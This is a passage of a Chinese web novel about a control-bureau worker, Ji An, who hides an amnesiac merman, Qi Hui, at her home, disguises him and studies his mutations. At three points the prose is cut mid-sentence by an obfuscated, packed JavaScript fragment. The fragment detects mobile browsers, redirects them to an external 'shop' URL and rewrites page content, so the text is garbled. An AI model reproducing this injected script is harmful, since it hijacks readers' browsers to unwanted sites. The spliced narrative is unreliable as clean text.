汽车行驶了将近半小时的路程,才终于抵达纪安在郊区的独栋住宅。车子开进小院,一股浓烈的臭味又扑鼻而来。祁洄屏住呼吸,眉头皱得更深。满院子栽种的都是同一种紫色的花,挨挨挤挤一大片,在风中轻轻摇曳。 “进去就闻不到了。”纪安从后备箱里搬出轮椅,候在车门边,惯例礼貌询问,“先生,我可以抱你出来吗?” 祁洄睨她一眼。方才上车的时候,她也这样问,但一如既往,问了之后就是直接动手,根本不管他的意愿。 纪安笑了一声,再次抱他出来:“在我这边,不说话就等于默认,记住了。” “还有,要拒绝也要尽早说,不然过时不候。”纪安跟他讲明自己的规则,推着轮椅去开门。 叮咚一声,虹膜解锁。门开了一条缝隙,里面传来一道清澈的少年音:“姐姐,欢迎回家,我一直在等你。” 门推开,就看到玄关处站着一个少年——机器人管家,十二三岁的模样,穿着人类的服装,除了表情有些许僵硬之外,几乎能够以假乱真。 祁洄没见过,就多看了两眼。 “小安,我饿了。” “我马上准备晚餐。”机器人小安得到命令,离开去了厨房。 “你现在的状态还不太稳定,先暂时住在我这边,我好照看你。”纪安带着祁洄参观起自家房子,“一共是两层,房间都在楼上,我带你去卧室。” 房子里装了电梯,纪安推着他进去,操作给他看:“先按楼层序号,再关门,旁边这个按钮是开门的意思,看,按下就打开了。” 祁洄看着,全程缄默,不给一句回应。纪安倒是不在意,想起什么就说什么,事无巨细地给他介绍各种东西,仿佛就认定他什么都不懂。 出了电梯,是条宽阔的走廊。两边各有一扇门,门对着,分别是两间房。 “那间是我的。这间暂时没人住,现在归你了。”纪安打开门,里面很简洁,只有一张双人床,一排大衣柜,一套桌椅。东西很少,显得空荡荡的。她推着祁洄进去:“想添点什么都可以跟我说,或者跟小安说。” 参观完房间,纪安就拉开椅子坐下,与祁洄面对面,开始询问多日来积累的疑惑:“现在只有我们两个,来聊聊——你叫什么名字?” 纪安指着他的手腕处,猜测道:“祁洄?” 他垂眸,目光落在手腕的两个刻字上,失神地望了半晌,像是在费力地回忆。最终,他既不点头,也不摇头,更是没有说话。 纪安无奈地笑了:“我不是坏人,不用戒备。” 祁洄闻言,直直地望向她。这段时间,他把她观察得很仔细。她总是面带微笑,平和地,礼貌地,公平地,对待每个遇到的人。她的笑容很和煦,但越是和煦,他就越警惕。他无法摸清她的目的。 见他分明还怀有戒心,纪安只好揭过:“那我就姑且认为你的名字是祁洄了。” “接下来的问题很重要,如果你知道的话,希望你能告诉我。”纪安看着他,眸色沉了沉,“你怎么会在那艘船里?怎么变成那副样子的?谁关了你?关了多久?” 一连串的问题抛出,纪安仔细盯着他的眼睛。他少有表情,但眼睛里却蕴藏着不少的情绪。比如现在,他听完所有问题后,眼底流露出来的却是一片迷惘。 “都不知道?”纪安问,顿了会,又猜测道,“还是,也忘了?” 除了茫然,他没有别的情绪。 纪安稍感无力,靠到椅背上,呆呆坐了会。然后站起,拍了拍祁洄的肩膀,像在安抚,喃喃道:“算了,过去的就让它过去,现在开始,可以过新生活了。” “姐姐,晚餐准备好了。”小安出现在门口。 “好,我知道了。”纪安推起祁洄的轮椅,边走边说,“等会我给你一份‘许复’的资料,以后你就用他的身份生活。” …… 饭桌上,摆着两份装点精美的餐盘,白米饭、鲜嫩的牛肉,还有少许绿色的蔬菜。 祁洄干看着,没有动静。 纪安将餐盘推过去:“试试看,挺好吃的。” 飘过来的是一股怪异的焦腐味,是死去多时被粗暴破坏的烂肉,搭配着无法消化的植物器官,一通搅和,乱七八糟。祁洄皱眉,屏住了呼吸。抬头再看纪安,她却没有任何负担地细嚼慢咽,像在品味什么美食。他们,竟然吃这样的东西。 纪安边吃边观察他的表情,想了会,忽然起身去了厨房。机器人小安跟过去,问道:“姐姐,你要什么,我给你拿。” “鲜鱼放哪?” “在这,都是生的,姐姐要做什么?” “我有用——以后做饭都多备一盘生鱼片。” “好的。” 没多久,纪安就端出一盘洗净切好的生鱼片,放到祁洄面前。 祁洄一愣,再次确定,她很了解他们。 “把熟食夹在鱼片里,吃习惯了,就能慢慢转变过来,”纪安勺了团米饭,放到鱼片上,示范给他看,“像这样,试试,你不能一直吃生的。” 纪安夹起,就要喂他。祁洄偏了下头,躲开了伸来的筷子。纪安扬扬眉梢,转而放到他的餐盘上,“自己吃,不然我就强制喂你了。” 祁洄顿住,抿了抿唇,不开心地瞥了她一眼。她坦然地直视回来,一副泰然自若的样子,仿佛在说:你大可以试试。联系她前两次的无礼行为,祁洄知道这是她会做出来的事。 哼了一声,才抓起筷子,却对着那份“鱼片包饭”迟迟下不了手,眉头紧锁,最后,还是当着纪安的面,把那坨臭不可闻的白色不明物拨掉了,只吃生鱼。 “不行。”纪安见状,撤走了生鱼盘,再次严厉地申明,“你不能只吃生的。” 祁洄看向她,默默搁下筷子,摆明了要拒食。 “……”纪安默了片刻,不得不做出让步,“就这一顿,明天开始,必须吃点熟食。” …… 用完餐,纪安推着祁洄到楼上的房间。机器人小安已经放好热水,见主人过来就退出浴室,候在一边。 “洗完澡就可以去休息了。”纪安掩上门,看了眼坐在轮椅上的人,再看一眼有些距离的浴缸,思考一番如何操作后,就蹲下身,抬起他的腿做检查,“现在感觉怎么样,还是疼?” 白皙的脚被她托着,细微的抬动引来阵阵酸麻。他眉尖的微蹙表明了一切。 “试着走两步?”纪安站起,见提议没有得到回应,就又笑说,“你也不想一直坐轮椅,被我抱来抱去吧?” 似是厌恶她推测的未来画面,祁洄有了回应。他捏紧轮椅扶手,借力缓缓站起,半途中,轮子被推得往后一滚,身体就跟着后仰。 慌忙间,纪安抓住他两条胳膊,脚下踢开碍事的轮椅:“我扶你。” “这边是左腿,那边是右腿。”纪安搀着他,认真地给他做示范,“先迈左腿——行吧,右腿也行——不要僵直地出来,膝盖要微微弯——” 话没说完,他又忽地软了腿,往地上摔去。纪安忙捞住他,避免了一次摔倒。 看他疼得沁出冷汗,纪安知道急不得,就宽慰说:“别气馁,你只是忘了怎么使用,慢慢练习,会想起来的。今天就先到这里。” 纪安打横抱起他,走两步,就送到浴缸里。 当身体一触碰到温热的水,只听得刺啦一声,祁洄的裤子应声而裂,他的双腿竟再次化成庞大的鱼尾。浴缸装不下,就偏着翘了出来。柔软的尾鳍携着水珠,轻扫过纪安的鞋面。纪安不动声色地退后一步,避免了相触。 消失已久的鱼尾再次出现,祁洄有些惊讶。 “别担心,你只是碰到水暂时畸变了,等会擦干净就会变回来。”纪安淡定地绕过鱼尾,边说明边帮他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150104|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解开衬衫扣子脱去上衣,继续嘱咐,“家里无所谓,以后到了外边,要时刻注意,避免沾上水,记住了。” 祁洄探手,摸向自己的鱼尾,还是熟悉的触感。不用刻意去控制,鱼尾就能按照他的心意任意转向、泅水、拍打、攻击……比那两条光秃秃的腿好用多了。 不过,祁洄看向四周,除了浴缸里集满了水,其余地方却都是干涸的。离开了水,他的鱼尾就没有作用了。这个世界不是他该呆的地方。 “先生,”纪安唤回他的注意,戴着手套的手就摸到祁洄耳后,小心揭下脸上的面具,“这个面具在洗漱时要摘下,避免畸变弄坏了,其余时候就都要戴好。” 面具一拿走,祁洄顿觉脸上轻松不少,那种黏腻又紧绷的不适感也跟着消散。那个东西戴着并不舒服。 交代完相应物品的使用方法后,纪安就带上门出去了:“我就在门外,洗好了喊我。” 正对着浴缸的墙壁,整面都装了镜子。祁洄此刻才看清自己的变化。沾水的手摸上耳朵,有些软,有些硬,又是一个陌生的构造。他变得和原先的样子不同了。 耳朵碰到了水,小巧的人耳就开始异化,拉长,变薄,最终回到他熟悉的样子。 “先生,”守在门外的纪安听里面没有一点水声,就提醒说,“再过五分钟,我就进去了——洗快点,才能早点变回来。” 祁洄对时间没有概念,只知道纪安出去后没多久,就又进来了,手里拿着一套睡衣。 看祁洄还保持着她离开前的姿势,基本没有进展,纪安无奈地笑了声:“看来你是希望我帮你了。” 她说到做到,祁洄还没反应过来,纪安就已经上手,打湿他的头发揉搓起泡沫,再迅速冲走,身体也用毛巾快速地擦过。等祁洄意识到自己被她翻来覆去清洁时,纪安已经结束了整个流程,将水全都冲走了。 接着又是两台暖烘烘的机器对着他炙烤,没多久,他身上的水珠就全都蒸发掉了。 尾部又传来一阵撕裂的剧痛,祁洄咬紧唇,亲眼看着它再裂变成两条讨厌的腿。瞳色也变了,耳朵再缩小变形,自己又回到陌生的样子。 这种奇怪的变化都是她带来的。 祁洄不禁斜睨纪安,也正看到纪安背后的镜子。镜中是他们两个,一个站着,一个坐着。她穿得严实,从头到脚没有裸露一丝一毫,而他则是赤身裸体,毫无防备地袒露着每一寸肌肤。两人之间对比鲜明,使他忽然涌起一股以前从未有过的局促感。 似乎也觉得氛围有些奇怪,纪安掩嘴咳了声,转过身,反手将睡衣递给他:“……抱歉。” 出了浴室,纪安把祁洄送到床上,再将面具重新给他戴好:“晚安,好梦。” 看纪安的背影消失在合起的门缝外,祁洄就抬手揭掉了面具。感受过无异物附着的舒爽后,他就再无法接受这种难耐的束缚感。 夜,静悄悄的。 房间里只他一人。祁洄望着窗外静谧的夜色,沉思一阵,就微微挪动脚,照旧是难以抗衡的疼痛。 他还无法自由行动。 走廊里的灯关了,从门缝下溜进来的光也跟着熄灭。那个人也回了自己的房间。 她究竟要做什么? …… 半夜时分,纪安掐着时间点,特意进来检查。走到祁洄床边,就看到被撂下的面具,微叹一声,又给他戴上了。 察觉到脸上的动静,祁洄猛地睁开眼,还未看清,劈手就打去。 “是我,”纪安按住他的手,“你不听话,戴好,别再取下来了。” 说完,纪安检查起他下身,没有鳞片浮现的痕迹,也没有并拢黏连,一切都正常,就松了口气:“第二枚吃下到现在过了二十四小时了,你还没复发,可见维持的时间变长了。” 纪安给他掖好被子,温柔地做出结论:“你正在好起来。” 5. 第5章-已修 次日,畸变物管控所内的综合会议室。 “11·8事件的调查报告已出,已经发到各位手上,可以自行查看。”所长章丽英疲惫地捏了捏眉心,跟一屋子下属说,“本次清缴的畸变物达63头,其中有5头是后续搜查队潜入海底捕获的。这意味着,极大可能有不少畸变物被我们遗漏。一旦它们在海底传染开,后果将不堪设想!” 章所长喝了口水,清清喉,再接着说:“因此我们要在这片区域展开‘地毯搜查’行动,以事发地为中心,向四周扩散。每个村镇都安排一支调查队,搜索当地是否有畸变物出没。队伍的编排已经在着手了,各位做好准备。本次调查规模庞大,我市人手不足,首都已经派人前来支援,过几天就会抵达——据说森礼博士也会来。” 听到“森礼”二字,纪安指头微动。 森礼隶属于首都管控所的研究队,年纪轻轻就已登上领头人的位置。滞缓剂就是她研究出来的,既提升了清缴队斩杀畸变物的成功率,也降低了看管队收容感染灶的风险。前年刚被授予最大贡献奖,是不可多得的人才。 不知道她现在怎么样了…… 失神片刻,会议就已结束。纪安出了会议室,边走边翻看手中的调查册子。上面详细地记录着各种信息,包括受难者与失事轮船。 出事的是一批智能驾驶的轮船,属于金氏集团。市面上大部分的智能机器都产自他家。纪安住宅里的家政机器人小安也是在他们公司定制的。 对于这次畸变物造成的意外事故,金氏集团的老总裁深感愧疚,向受灾区捐出上亿元,同时给所有受难乘客的家属发放大笔赔偿金,并表示若有任何困难,可以向他们寻求帮助。一时间,金氏集团的声望节节攀升,更是被封上了“大善人”的称号。 “金总裁,金喻恩的父亲……”纪安思索着,回到自己的值班室,重新调出金氏集团的资料。这份资料她已经看过多遍,是当初为了调查金喻恩特意搜集的。 金家关系简单,金夫人早早去世,只剩父女两相依为命。金父仁慈善良,经常四处捐款,只为给自家女儿积福。金喻恩从小体弱多病,不良于行,几次在生死边缘徘徊。幸运的是,她挺了过来,活到了现在。 纪安翻完金家的资料,依旧没看出任何可疑之处。想起祁洄,纪安又找出一打资料,里面装的是近三十年来登记在案的失踪人口信息。 打头有三份被纪安专门收在文件夹里。 一份是沈念安,七岁,新北小学的学生。出事当天,他与母亲说明是去同班同学祁暄的家。 一份是祁暄,八岁,新北小学的学生,在家里失踪。 一份是祁红琴,三十五岁,祁暄的母亲,在家里失踪,失踪当年确诊绝症。 纪安拿开上头的三份资料,翻到下面,一份份查找,找到底,也没找到一个叫“祁洄”的失踪者。 纪安皱眉,又看着相片重新找了一遍,仍旧没找到与祁洄面貌相似的人。这其中有什么出入?是没被发现,还是,他不叫祁洄? …… 郊外住宅里,祁洄醒来。若不是有阵阵刺鼻的臭味时不时飘来,他或许还能睡得更久一点。房内没有人,很安静。祁洄撑起上身,目光巡视一圈,就找到了灌进气味的地方。是床边的落地窗,门没关紧,风带着气味吹了进来。不用看也知道,玻璃窗外的阳台下,就是院子里那片紫色花海。 “先生,您醒了?”小安敲了敲门,“姐姐去工作了,吩咐我照顾您,我能进来了吗?” 祁洄没出声。小安过了会,就扭动门把进来。他推过轮椅,放到床边:“餐食已经准备好了,洗漱完就可以吃。需要我扶您下床吗?” 听着跟纪安相似的说话口吻,祁洄抬眸看向这位机器人。这次离得近,能看清他脸上的细微之处。祁洄微微眯眼,目光落在小安的左眼尾,那里有一粒小小的黑痣。 小安见祁洄沉默不语,依照姐姐的指令——没有回应就是默认。于是上前掀被子,要扶他下床。祁洄皱眉,伸手推开,对他们主仆的行事风格颇感气闷。小安收到反馈,就退到一边,看着他缓慢下地,换坐到轮椅上。 轮椅有自动行驶的功能。小安领着祁洄去卫生间:“用具都备好了,我在外面等您。” 镜中的自己还是那个陌生人的面孔,祁洄想起昨夜纪安硬是给他戴上的事,就不悦地抿了下唇。取过毛巾浸湿了水,蹭过耳后时,一对银白的耳鳍就突地冒出来,刺破了黏糊的面具。 “……”祁洄侧过脸,能看到耳旁的“皮肤”裂开了。 面具坏了。 此刻他才想起纪安嘱咐过的碰水之前要先摘面具的事。不过明显已经来不及了。 祁洄干脆整块撕下,搁到了洗手台上。 当看到祁洄变了个样子再出来时,小安眼瞳就亮起红光,咔嚓一声拍下了他的外貌,还有那块破损的面具,一起发送给纪安,留言:“姐姐,他摘掉了面具,还弄坏了。” 还在管控所收集失踪者资料的纪安看到消息,不由捏了捏眉心,敲下回复:“开启防窥模式,别让他出门。” 小安照做。所有窗户应声关闭,并切换了模式,外头的人就看不到里面的情形了。解决完面具的事,小安再领着祁洄到楼下。 餐桌上,照样是一盘生食,一盘熟食。小安转达纪安的话:“姐姐说,你必须把熟食吃完。” 祁洄却未听进去,照样只吃生食。小安见状,眼珠子又是红光一闪,专门开启了录像功能,将现场的情况转送给纪安,并说明:“姐姐,他不听话。” 闻言,祁洄不解地看向小安。琢磨一番后,猜到大概是向纪安告状了。 “姐姐说,‘等我回来处理’。”小安转述收到的答复,继而关闭了录像,再劝说起祁洄,“你最好不要惹姐姐生气。” 告诫并未带来任何效果。用餐结束后,整盘熟食分毫未动。小安无可奈何,只能继续完成纪安的嘱咐。 “姐姐说,家里所有东西你都可以使用,你想做什么都行,只要不危险。”小安最后补充说,“有什么不懂的都可以问我。” 祁洄出了餐厅,旁边是起居室,有一扇大大的落地窗,正对着院子里的薰衣草。虽然关闭着,但那片花海摇曳的姿态闯入眼中,他就仿佛嗅到了它们的臭味,不禁心生厌恶。 他皱起眉头,推着轮椅就过去。小安看他的方向直奔院子,就追着申明:“你暂时不能出去,因为你把面具弄坏了。另外,你的轮椅可能会碾坏薰衣草。姐姐很喜欢它们,弄坏她会生气的。” 祁洄无视了小安大段大段的话。只是到了窗户边,伸手扯住窗帘,重重拉过,遮挡住外面的紫花。 倒退轮椅,转动时,不小心撞到了挂在墙上的电视机。大概是触动了某个开关,电视亮了起来。大屏幕上突然出现一对拥吻的男女,镜头怼得很近,将唇舌之间的勾缠拍摄得清清楚楚。 乍然看到这一幕,祁洄先是懵了片刻,随后就黑下脸,迅速移开了视线。 “不喜欢这一台?”捕捉到祁洄的情绪,小安就帮他切换了频道。换的是个动画片,美人鱼。正好播放到小美人鱼躲在礁石后,黯然地注视着王子与公主一同离开的情景。 余光瞟到一闪而过的鱼尾,祁洄转回电视。待看清美人鱼后,忽地愣住了,微微睁大眼,骤然失了神。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150105|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… “不对,救你的是我,不是他!” “笨鱼,要按照剧本来,没这台词!” “就是,会不会玩,王子本来就跟公主在一起。” “可是,救你的是我,不是他。” …… 杂乱的声音并着失色的画面,如潮水般齐齐涌入脑海,祁洄低哼一声,双手捂住了头,痛苦地敲了两下。 “先生?先生?”小安看祁洄突然失控,喊了几声无果,就立刻向纪安报告他的最新动态,“姐姐,他出事了,似乎是头痛。” 纪安看清录像后,神色微变,立即将资料收好,请了假提前下班,拿上车钥匙就出去了。 周列拿着两张电影票来找纪安时,值班室已经空无一人。一个同事正好路过,周列忙问:“纪安去哪了?” “提前下班了,刚看到她车开走。” “今天怎么回事,平时都很少请假的。” “不知道呢,走得挺匆忙的,可能有急事吧。” …… “哎,真是烦,他竟然还在哭个不停!” “你带来的,你解决,不然我们都玩不下去了。” “要不你们让他当公主好了,不做美人鱼了。” “不行,我一定要当公主,才不让给他呢。” “笨鱼,故事就是这样啊,美人鱼不忍心杀掉王子,最后祝福他和公主,自己化成泡沫了。你当美人鱼,不能跳出来破坏王子和公主啊。” “我不会祝福你和他的!” “笨鱼,没要你祝福,是‘美人鱼’要祝福——算了说不清,要不这样,大结局之后再加一段,就演我把你复活和你在一起了,这样可以了吧。” “那他呢?” “他是公主,我不能抛弃公主啊,公主也很无辜——好!行!我不要公主了,只要你!别再哭了!” …… 纪安回到家时,就看到玻璃窗边,祁洄靠着椅背,安静地睡着。他的脑袋微微倾斜,额角的碎发垂下,遮住了眉眼。斜阳从窗外洒进,给他镀上一层金色的光边。 纪安轻脚靠近,问守在旁边的小安:“怎么样了?” “刚刚给他看动画片,”小安指着电视上还在播放的美人鱼,“他就忽然抱住脑袋,很痛苦的样子,怎么喊都没应,但没过一会就睡过去了。” 纪安听了,蹲下身,与祁洄齐平。他睡得不太安稳,眉头皱起,像被困在梦魇当中。纪安不由伸出手,轻轻揉弄,抚平他的眉心。接着站起,一手探到背后,一手托起他的腿弯,把他抱到旁边的沙发上,取来毛毯盖上。 忽然,纪安眼睛一动,望见他的眼尾,有一滴晶莹的泪珠沁出,挂在了长睫上,欲落不落的。盯了半晌,纪安不禁扯下手套,伸出拇指,轻轻替他抹去。泪珠落在指头,依旧凝着形,在阳光的照射下仿若闪烁的碎钻。鬼使神差地,纪安将手指送至唇边,轻抿入口。 不是钻石。她心头莫名浮起一个奇怪的想法。 纪安愣了愣,紧接着感受到什么,收敛了表情,习惯性地摸上了脸。她的左脸颊突然被“刺破”,有鳞片样的东西从皮下长了出来。 “继续守着他。” “是。” 纪安取出手帕,一边擦掉唇上的泪液,一边看向电视。美人鱼献出自己的声音,将鱼尾换成了人腿。 “关了吧,以后别让他看这个了。”纪安说完,收了帕子,就往楼上走去。她的“脸皮”接二连三地被新长出的鳞片刺穿,变得诡异而恐怖。 拐过楼梯转角后,她的声音又悠悠飘来: “鱼尾可不是什么美丽的东西。” 6. 第6章-已修 过了大约十分钟,纪安再下楼时,脸部已经恢复了原样。祁洄还在沉睡当中。她看了一会,就拉开门去了院子。小安跟上,和她隔着几步远,报告院子的情况:“今天都浇过水了,每一盆都很健康。” “好。”纪安走下台阶,站在满院的薰衣草中。紫色的一簇簇开得茂盛,风送来花香,弥漫在她周侧。望着望着,久远的记忆就轻叩门扉,再一次浮上心头。 “暄暄,要是我们出去了,你最想做什么?” “……我不知道。” “我的话,要马上飞奔回家,我妈妈一定在等我……我房间外能看到很多薰衣草……真想一觉醒来,看到薰衣草……” “姐姐,”小安开口,“你要踢到花了。” 纪安回过神来,苍白地笑了笑:“我走神了。”说完沉默着,低头去看薰衣草,看了一圈,才走回来。 小安候在台阶上等她。 纪安抬头,目光忽然落在它身上,眼神又再一次飘远,像是透过它在凝望着谁。嘴唇动了动,她没头没尾的,轻声问了一句:“看到了吗?” “姐姐,看到什么?”小安露出疑惑的表情。 纪安眼神一暗,自嘲地笑道:“没什么。”说完拍拍小安的肩膀,回到屋内。 “快——跑——”沙发上的祁洄忽然出声。 纪安赶忙过去,俯下身倾听,听到的都是些无意识的含糊的呢喃,便拍了拍他的脸颊:“祁洄?祁洄?醒醒。” …… “笨鱼,快跑,别回头!” “听不懂话?叫你走啊!” …… “这是?还没孵化的小鱼仔?” “哈哈!我们发了!一起带走!” “那个疯丫头呢?” “扔下去喂鱼——不,她或许知道点什么,也带上。” …… 酒浆,眼泪,鲜血……混乱,暴动,狞笑……旧日的画面,在记忆的海洋里沉沉浮浮,时而清晰,时而模糊,时而真实,时而虚幻,乱成一团,难以琢磨。 她,是谁? “祁洄?祁洄?醒醒。” 一道坚定的声音破开幻境,将他呼唤。祁洄意识渐渐回笼,泪光中,是一张模糊的脸,隔着水雾,扭曲、变形,却意外的,有种奇怪的熟悉感。 “是我,做噩梦了?” 有指尖轻轻拂过他的眼睛,带走弥漫的水雾,擦亮了他的世界。模糊的脸渐渐清晰,祁洄看到了纪安。 “醒了?”纪安捧着他的脸,看着他的眼睛,从迷离、失神,再渐渐变得清醒、明亮。确认,他已经脱离梦境,回到了现实。 “梦到什么,哭得这么厉害……”眼前的人凑得很近,眉目温和,定定地注视着他,他甚至能看到对方瞳孔中倒映的自己的影像。指腹隔着手套,仍旧轻柔地擦拭着他的眼尾、面颊,像在抚摸一件易碎品,使他突然产生一种被珍视的错觉。她的眼睛是无边的大海。祁洄忽地撇过脸,避开纪安的凝视,似乎唯恐自己被吞没了。 一如既往的冷淡。纪安早已习惯,笑笑,手指无意识地勾画起他脸部的轮廓。祁洄留意着她的动作,慢条斯理、蜻蜓点水式的碰触,惹得他周身一阵异样的酥麻。顶着他费解且逐渐不悦的眼神,纪安才意犹未尽地收了手,跟他算起今天的账:“虽然这张脸生得很好看,但还是藏起来比较好——你怎么毁掉了面具?” 明明说着质问的话,声音却是温和的,听不出有丝毫怪罪的意思。 纪安把他抱到轮椅上,推着带进自己房间:“外面也许有人正在搜查你。为了避开危险,你得带着面具,时刻记得自己是‘许复’,明白吗?” 电灯打开,房内亮堂起来。最先闯入视线的,是放在床头柜上的几束薰衣草。浓烈的气味扑面而来,祁洄掩着嘴,闷声咳了两下。纪安发觉,把花搬到了阳台外,再通风透气。 恢复的速度比预想的慢。纪安心内想着,嘴上则是宽慰他:“别担心,会慢慢好的,以后闻着就不难受了——我先给你换张面具。”说完她转进卫生间。 光滑的瓷砖后,暗藏一间密室。 纪安进去,反手关上。里面的环境一览无余。靠墙是几台笨重的大型机器,架子上则摆着五颜六色的不明药剂,桌面还有一个水箱关着几只水母。这是她的实验室。 纪安从隔绝柜里取出一个透明方盒。如果有管控所成员在场的话,会认得里面装的是泡在滞缓剂中的畸变物感染灶——她在每次行动中偷偷留存下来的。 感染灶被取出,投进机器中绞碎,炼化,最终提取出几毫克的信息素,封存进针管内。 这种信息素被管控所命名为致畸原,有一种类似于柑橘的酸苦味。如果将致畸原注射进正常生物体内,将立即引起该生物畸变。管控所研究队认为,造成畸变的根本原因就在于这种信息素。至于致畸原是否会造成人体异变则不可知,这项实验并不被允许。 纪安取得致畸原,就捞出一只水母,在充满滞缓剂的容器内给它注入。水母立刻膨胀,几乎在它异化的同时,纪安就用刀割下了它的感染灶,妥善装进隔绝柜里。 之后再处理异化水母的身体,切割,浸泡,处理成面膜的形状,最后附着在之前受损的面具上,凝固成型。 …… 纪安走开后,祁洄无事可做,就打量起周遭。整个房间,到处都是那种紫花的身影,印在被单上,贴在墙壁上,或是做成摆件、玩偶……随手拿起一个物品,都能找到与紫花相似的元素。 “这东西,有什么好的。”祁洄心内腹诽着。 目光一寸寸移动,经过书桌时,忽然停住了。那里放着一个相框,褾着的正是他在花店门口看到的那张。手指推动车轮,祁洄往前几步,视线在照片上来回逡巡,看到男孩眼尾那枚黑痣后,确定确实是同一张。 “以后注意点,不要随便弄坏了。”纪安终于出来,手里托着新的面具,还是那张脸。 祁洄转过头。纪安已经凑过来,将黏丝丝的面具对着他的脸比对一番,似乎在琢磨着从哪里下手。两人离得很近,仅隔着一张面具。他能感受到她浅浅的呼吸,透过面具的孔洞,拂过他的脸颊,痒痒的。祁洄垂眸,微微偏了下脸。 “别动。”纪安制止他,开始操作,将冰凉的面具贴上他的皮肤,再辅以某种特殊的药剂,使两者贴合得更加紧密。贴好后,不适的紧绷感就又来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150106|150292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是有些难受,但目前暂时没有更好的材料。”纪安再一次说出他心里的想法,指尖托起他的下巴,左右端详,安抚着说,“只能忍忍了,习惯了其实也还好。” 祁洄听了,悄然看向纪安,第一次认真地端详起她的面容。鹅蛋脸,高鼻梁,戴着金丝眼镜。镜片后的眼睛总是波澜不惊的,像一汪死寂的潭水。只有在笑起时,才会显出一点生命的迹象。 “看什么?”纪安带着笑,望进他眼睛。 祁洄一怔,挪开了目光。他短暂的观察并未得到答案,不知道她是否也戴着同样的面具。 心内正猜测着。忽地,熟悉的痛感再次席卷而来,祁洄哼了声,咬住唇,抓紧了扶手。纪安忙蹲下,卷起他的衣服查看,只见他白净的皮肤上,如同破布娃娃绽开缝线一般,裂开了数道伤口;腿上隐匿的鳞片再次显露,出现在表皮。是畸变的前兆。 纪安忙勾出脖间的香袋,再拣出一枚金鳞,凑到他唇边,特意隔了一个拳头的距离,说:“吃了它。” 祁洄虚虚地送来一眼,有些意外。她没再跟之前两回那样,直接粗暴地塞进他嘴里。 大概知道他心里在想什么,纪安微微笑着:“我可不想再被你咬了。” 想起不愉快的往事,祁洄低声轻哼,默了会,才抬手,接过她指间的鳞片,放入口中。 “这次隔了将近两天才发作。”纪安看了眼钟表,再次记录下他服食金鳞的时间,将他的恢复速度、畸变情况等信息详细地登记在册。 “你在好起来。”她又重复说。 柔和的声音,多次的强调,使祁洄有那么一瞬认为,她确实是在救自己。 但……不能相信。 “之前就想给你了,”纪安转了话题,取来一个白色的空药瓶,装了一枚金鳞进去,递给祁洄,“你发作的时间目前还无法确定。为了避免出事,这个你拿着,如果有畸变的迹象,就赶快吃下。” 药瓶被纪安塞进他的衣兜里:“保管好,别弄丢了。” 祁洄看了眼药瓶,又转向纪安,看着她将那个淡紫色的香袋塞回领口里。 交代清楚后,纪安带着祁洄下楼,就说起中午的事来:“小安说,你没有吃熟食。”她一件一件地,处理起他的事。 祁洄又被送到了餐桌边。纪安推来一盘香气扑鼻的烤鱼,以及一盘犹带血丝的生鱼。她拉来椅子,在他身边坐下,端起餐碟,两盘各夹了一筷子,递到祁洄嘴边,无视他眸中的抗拒,大有跟他耗下去的意思。 “想要自己吃,还是我喂你?” 祁洄瞥她一眼,转开了脸。他一退后,纪安的筷子就追着过去,堵在他的唇前。他再扭开,纪安也跟着转移,始终贴着他的唇。似是厌烦了,他启唇正要说话,纪安就趁机一筷子戳了进去。 “咳——咳——”祁洄呛红了眼,不高兴地瞪向她。 纪安坦然接受他的怒视:“你是人,不能吃生食,要尽快转变过来。等你稳定了,就可以出门,可以工作,可以结交朋友,像正常人那样……” 话说到一半就停了。因为祁洄终于咀嚼起口中的食物,虽然眉头皱得很紧。 “做得很好。”纪安夸奖道。 7. 第7章-大改 凌晨时分,万籁俱静。清冷的月光照进窗内,照着房中还未入眠的人。 祁洄靠在床头,背脊微曲,修长的手掌紧按着腹部,额角满是细汗,间或有虚弱的喘息从苍白的双唇溢出。自从被迫吃下那盘臭气熏天的东西后,他的胃部就一抽一抽的,像有一团火在炙烤。 “你是人,不能吃生食……” 纪安的话语犹在耳边回转。祁洄不由蹙眉,她认为我是人?可明明已经看过他的样子了…… 想着,忽然灵光一闪,似乎猜到了纪安行事的原因,喃喃道:“她以为我是人,所以……救我?”之所以停顿,是他还不能确定,纪安的行为是否真在救他。虽然,目前为止,她还没有显露恶意。 不过,祁洄摸向下身,眸中的困惑越深。为什么会长出他们的腿?和她喂的东西有关? 祁洄摸出纪安给的药瓶,里面只装了一枚。他倒出来,放在手心观察。那是接近心形的鳞片,形状与他们身上的类似,只是小了些,仅有指盖大小,颜色也不同,是透明的淡金色。这是从哪来的?唯一能确定的是,这种鳞片不是他们这个种族拥有的。 